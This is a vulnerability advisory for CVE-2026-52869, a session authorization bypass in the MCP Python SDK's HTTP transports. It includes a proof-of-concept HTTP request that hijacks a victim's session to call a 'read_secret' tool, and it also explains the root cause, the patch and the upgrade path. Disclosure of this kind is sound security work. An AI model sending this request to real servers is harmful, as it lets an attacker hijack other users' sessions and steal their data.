CVE-2026-52869: mcp (Python SDK) Session Authorization Bypass
The MCP Python SDK's HTTP transports route requests to an existing session based only on the session ID, never checking that the caller is the same authenticated user who created it, so anyone who kno
The problem
Both the SSE transport (`mcp.server.sse.SseServerTransport`) and the stateful Streamable HTTP transport (`mcp.server.streamable_http_manager.StreamableHTTPSessionManager`) look up a session by its identifier alone. They do not compare the OAuth principal on the incoming request to the principal that opened the session.
An attacker who obtains a victim's session ID (from logs, network observation, or any other out-of-band channel) can send arbitrary JSON-RPC messages on that session using a completely different bearer token. On the Streamable HTTP transport the attacker also receives the response directly, so they can read tool results that belong to the victim.
Proof of concept
A working proof-of-concept for CVE-2026-52869 in mcp, with the exact payload below.
# Step 1: legitimate client opens a session and we learn its ID
# (from server logs, a shared proxy, network capture, etc.)
# SESSION_ID = "3f2a1b4c-dead-beef-cafe-000000000001"
# Step 2: attacker sends a JSON-RPC request on the victim's session
# using a DIFFERENT bearer token (attacker's own valid OAuth token)
POST /mcp HTTP/1.1
Host: mcp-server.example.com
Authorization: Bearer ATTACKER_VALID_TOKEN
Mcp-Session-Id: 3f2a1b4c-dead-beef-cafe-000000000001
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"read_secret","arguments":{}}}
# Server responds with the victim session's tool result on this connection.
# For SSE transport, replace the header with a query param:
# GET /sse?session_id=3f2a1b4c-dead-beef-cafe-000000000001
# Authorization: Bearer ATTACKER_VALID_TOKENThe root cause is CWE-639 (Authorization Bypass Through User-Controlled Key). Before the patch, `StreamableHTTPSessionManager.handle_post_message` and `SseServerTransport` fetched the session object keyed only on the caller-supplied ID and immediately dispatched the request.
No field on the stored session recorded who created it.
PR #2719 adds a `principal` slot to each session, populated at creation time from the bearer token's OAuth `client_id`, `iss` (issuer), and `sub` (subject). Every subsequent request on that session extracts the same fields from the presented token and compares them.
A mismatch returns 404, identical to an unknown session ID, so the attacker learns nothing about whether the session exists.
PR #2690 is the prerequisite: it adds `subject` and `claims` fields to `AccessToken`, giving the principal check per-user granularity when multiple end users share one OAuth client.
The fix
Upgrade to `mcp >= 1.27.2`. The patch is in commits `1abcca2` and `ce267b6`. If you run a shared OAuth client (hosted gateway, multi-tenant deployment), also ensure your token verifier populates `AccessToken.subject` from the token's `sub` claim so sessions are isolated per user, not just per client.
Related research
- highCVE-2026-59950CVE-2026-59950: mcp WebSocket Transport Missing Origin Validation
- high · 7.6CVE-2026-52870CVE-2026-52870: mcp (Python SDK) Missing Authorization on Experimental Task Handlers
- CRITICAL · 9.9CVE-2026-55166CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise
- high · 7.5CVE-2026-50271CVE-2026-50271: ddtrace Uncontrolled Resource Consumption via W3C Baggage Header Parsing